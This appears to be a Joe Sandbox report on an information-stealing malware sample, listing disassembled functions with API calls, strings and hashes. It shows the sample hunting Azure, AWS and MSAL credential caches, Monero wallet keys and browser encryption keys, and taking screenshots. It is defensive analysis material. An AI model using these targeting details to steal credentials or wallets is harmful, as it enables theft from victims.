Azure\.IdentityService, xrefs: 003064A7
msal.cache, xrefs: 003064AC
\.aws\, xrefs: 00306416
Azure\.azure, xrefs: 003063A9
\.azure\, xrefs: 00306397
\.IdentityService\, xrefs: 00306495
*.*, xrefs: 003063AE, 0030642D
Azure\.aws, xrefs: 00306428

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2861501092-3645552435
Opcode ID: fee4a4b50fcfbf4a995747216a8058b920666d30c8a7304c91875d175a133198
Instruction ID: c70212c9f41fdcd744031b1caa33125f525e0018f9a76217cbd77dc3b859ae78
Opcode Fuzzy Hash: fee4a4b50fcfbf4a995747216a8058b920666d30c8a7304c91875d175a133198
Instruction Fuzzy Hash: 04418172E5020C76DB2AE7B0CC57FED77286F18740F444968F715661C1EAB0A7988F61

Function 00302000 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 295stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0030202B
lstrcpy.KERNEL32(?,00000000), ref: 003020C1
lstrcpy.KERNEL32(?,00000000), ref: 003020FA
lstrcpy.KERNEL32(?,00000000), ref: 0030213C
lstrcpy.KERNEL32(?,00000000), ref: 0030217E
lstrcpy.KERNEL32(?,00000000), ref: 003021BF
StrCmpCA.SHLWAPI(00000000,true,?), ref: 00302322
strtok_s.MSVCRT ref: 003023AC

Strings

false, xrefs: 0030233C
true, xrefs: 0030231C

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s
String ID: false$true
API String ID: 2610293679-2658103896
Opcode ID: 6e611884bd4ea15bd474921b481719443ce217eec09449e077605c2bc9953c25
Instruction ID: cf34e1bc16bdb887f6f41df8b80c7849625fe15df4cddee6118126a0e067b96e
Opcode Fuzzy Hash: 6e611884bd4ea15bd474921b481719443ce217eec09449e077605c2bc9953c25
Instruction Fuzzy Hash: 43A1EBB2D11208ABDB59EBB0DC55EEF737CAF54300F004568F51AA7282EB34A658CF60

Function 002F1A30 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 180registrymemorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002F1A48
GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F1A5E
RtlAllocateHeap.NTDLL(00000000), ref: 002F1A65
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 002F1A82
RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 002F1A9C

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 003042A0: Sleep.KERNEL32(000003E8,?,?,?,?,?), ref: 00304345
Part of subcall function 003042A0: CreateThread.KERNEL32(00000000,00000000,Function_000130F0,?,00000000,00000000), ref: 0030438D
Part of subcall function 003042A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304399

RegCloseKey.ADVAPI32(?), ref: 002F1AA6
lstrcat.KERNEL32(?,00000000), ref: 002F1AB4
lstrlen.KERNEL32(?), ref: 002F1AC1
lstrcat.KERNEL32(?,.keys), ref: 002F1ADC
CopyFileA.KERNEL32(?,00000000,00000001), ref: 002F1BC6
DeleteFileA.KERNEL32(00000000), ref: 002F1C32

Strings

.keys, xrefs: 002F1AD0
wallet_path, xrefs: 002F1A96
\Monero\wallet.keys, xrefs: 002F1AF4
SOFTWARE\monero-project\monero-core, xrefs: 002F1A76

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileHeaplstrcat$AllocateCloseCopyCreateDeleteObjectOpenProcessQuerySingleSleepThreadValueWaitlstrcpylstrlenmemset
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2769360516-218353709
Opcode ID: c05186b34a5114730c4dc94a6266bbbd15ff1476205e2c03fdaa21880a03f98e
Instruction ID: 21f566dfa8c0255ec4920e8364c0eb2d98e190f7351deaca59a770ad7e5609d5
Opcode Fuzzy Hash: c05186b34a5114730c4dc94a6266bbbd15ff1476205e2c03fdaa21880a03f98e
Instruction Fuzzy Hash: 8851437192010CABDB58EBA0DE56EFEB33CAF54780F404538F60662191EB74AA59CF61

Function 003023F0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 134stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 0030240D
ExitProcess.KERNEL32 ref: 00302418
strtok_s.MSVCRT ref: 0030242F

Strings

block, xrefs: 003023FB

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 53e3bc76cbd15782815e24053d321f7fd82aeccf7ccb11f640b50d0bbca06215
Instruction ID: 7ba6f7b00a2871caf35fc6936a9b1d3b1e233078b8b522eb762a5bbf3ff1b901
Opcode Fuzzy Hash: 53e3bc76cbd15782815e24053d321f7fd82aeccf7ccb11f640b50d0bbca06215
Instruction Fuzzy Hash: 4941C2B0E45B08AADB22AF749C6D997B7ACBF16749B104928F407E3081E770D2058B18

Function 00301530 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00301592
GetDesktopWindow.USER32 ref: 0030159C
GetWindowRect.USER32(00000000,?), ref: 003015A9
SelectObject.GDI32(00000000,00000000), ref: 003015D5
GetHGlobalFromStream.COMBASE(?,?), ref: 00301651
GlobalLock.KERNEL32(?), ref: 0030165B
GlobalSize.KERNEL32(?), ref: 00301668

Strings

image/jpeg, xrefs: 00301617

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Global$StreamWindow$CreateDesktopFromLockObjectRectSelectSize
String ID: image/jpeg
API String ID: 1264946473-3785015651
Opcode ID: 26b54789188ad47223c0ea7fe78f1c3889746bd2098d6cd526535228a948fd0a
Instruction ID: 01f9dd3f7f9b2661a05b7f9c8a4523f75b20f5732d6c68871d38b7780c6a80cb
Opcode Fuzzy Hash: 26b54789188ad47223c0ea7fe78f1c3889746bd2098d6cd526535228a948fd0a
Instruction Fuzzy Hash: 8B514675910208AFDB14EFB4DC89EFE77BCEF59751F004519F905D2250EB30A9498BA0

Function 00302C70 Relevance: 18.2, APIs: 12, Instructions: 188stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00302C89
memset.MSVCRT ref: 00302C9C

Part of subcall function 00300D50: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00300D81

lstrcat.KERNEL32(?,00000000), ref: 00302CCC
lstrcat.KERNEL32(?,02F45420), ref: 00302CE8
lstrcat.KERNEL32(?,?), ref: 00302CFC
lstrcat.KERNEL32(?,02F450D8), ref: 00302D10

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 00300D10: GetFileAttributesA.KERNEL32(00000000,?,?,002F1774,?,?,?,003101E9), ref: 00300D1D

Part of subcall function 002FBE30: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 002FBE7D

Part of subcall function 002F6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,002F1916,?), ref: 002F6C3F
Part of subcall function 002F6C20: GetFileSizeEx.KERNEL32(00000000,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6C55
Part of subcall function 002F6C20: LocalAlloc.KERNEL32(00000040,?,?,?,002F1916,?), ref: 002F6C70
Part of subcall function 002F6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,002F1916,?), ref: 002F6C89
Part of subcall function 002F6C20: CloseHandle.KERNEL32(00000000,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CB1

Part of subcall function 00301000: GlobalAlloc.KERNEL32(00000000,?), ref: 0030100B

StrStrA.SHLWAPI(00000000,02F45438), ref: 00302DA5
GlobalFree.KERNEL32(00000000), ref: 00302E74

Part of subcall function 002F6CD0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,002F5AF2,00000000,00000000), ref: 002F6CF7
Part of subcall function 002F6CD0: LocalAlloc.KERNEL32(00000040,00000000,?,002F5AF2,00000000,?,?), ref: 002F6D06
Part of subcall function 002F6CD0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,002F5AF2,00000000,00000000), ref: 002F6D1D
Part of subcall function 002F6CD0: LocalFree.KERNEL32(?,?,002F5AF2,00000000,?,?), ref: 002F6D2C

Part of subcall function 002F6E90: memset.MSVCRT ref: 002F6EE7
Part of subcall function 002F6E90: LocalAlloc.KERNEL32(00000040,?), ref: 002F6F1E

lstrcat.KERNEL32(?,00000000), ref: 00302E1B
StrCmpCA.SHLWAPI(?,003101E9,?,?,?,?,000003E8), ref: 00302E35
lstrcat.KERNEL32(00000000,?), ref: 00302E50
lstrcat.KERNEL32(00000000,00313408), ref: 00302E5C

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$AllocFileLocal$memset$BinaryCryptFreeGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3732263607-0
Opcode ID: e2a533184a77745b38d92381104c80319e774bcec615344ba7010661de74f1c8
Instruction ID: 55be5c1c6136b44cb12cca8260b4787b49beaf884005ef713272a0e96700d931
Opcode Fuzzy Hash: e2a533184a77745b38d92381104c80319e774bcec615344ba7010661de74f1c8
Instruction Fuzzy Hash: 246195B191120CABDB15EBA0CC99FEF777CAF54740F044568FA05A7181EB30A659CFA0

Function 003010F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0030110A
GetProcessHeap.KERNEL32(00000000,000000FA,?,?,?,002F727B,?), ref: 0030113D
RtlAllocateHeap.NTDLL(00000000), ref: 00301144
wsprintfW.USER32 ref: 00301153
OpenProcess.KERNEL32(00001001,00000000), ref: 003011BB
TerminateProcess.KERNEL32(00000000,00000000), ref: 003011CA
CloseHandle.KERNEL32(00000000), ref: 003011D1

Strings

%hs, xrefs: 0030114D
{r/, xrefs: 003011F0, 0030112C
{r/, xrefs: 00301189, 0030118C

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID: %hs${r/${r/
API String ID: 3729781310-3226881146
Opcode ID: 7178b9f2a9b65ab675cc54f7415b8e201d90476129be1b9f802358576829c9b0
Instruction ID: d2f656d3e5c8dad3549f6151f96de3946a6286b4ec0c4556b1acb5122f60bb0a
Opcode Fuzzy Hash: 7178b9f2a9b65ab675cc54f7415b8e201d90476129be1b9f802358576829c9b0
Instruction Fuzzy Hash: 6A319371A01208BBEB25DBE0DC99FEE777CEF49740F104155FA05E61C0DB70AA458BA5

Function 00309D90 Relevance: 16.7, APIs: 11, Instructions: 184fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,?), ref: 00309D9F
GetFileSize.KERNEL32(?,00000000,?,?), ref: 00309E15
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00309E34
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 00309E49
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 00309E52
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 00309E61
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 00309E7F
ReadFile.KERNEL32(?,0030A367,00000004,?,00000000), ref: 00309E8E

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
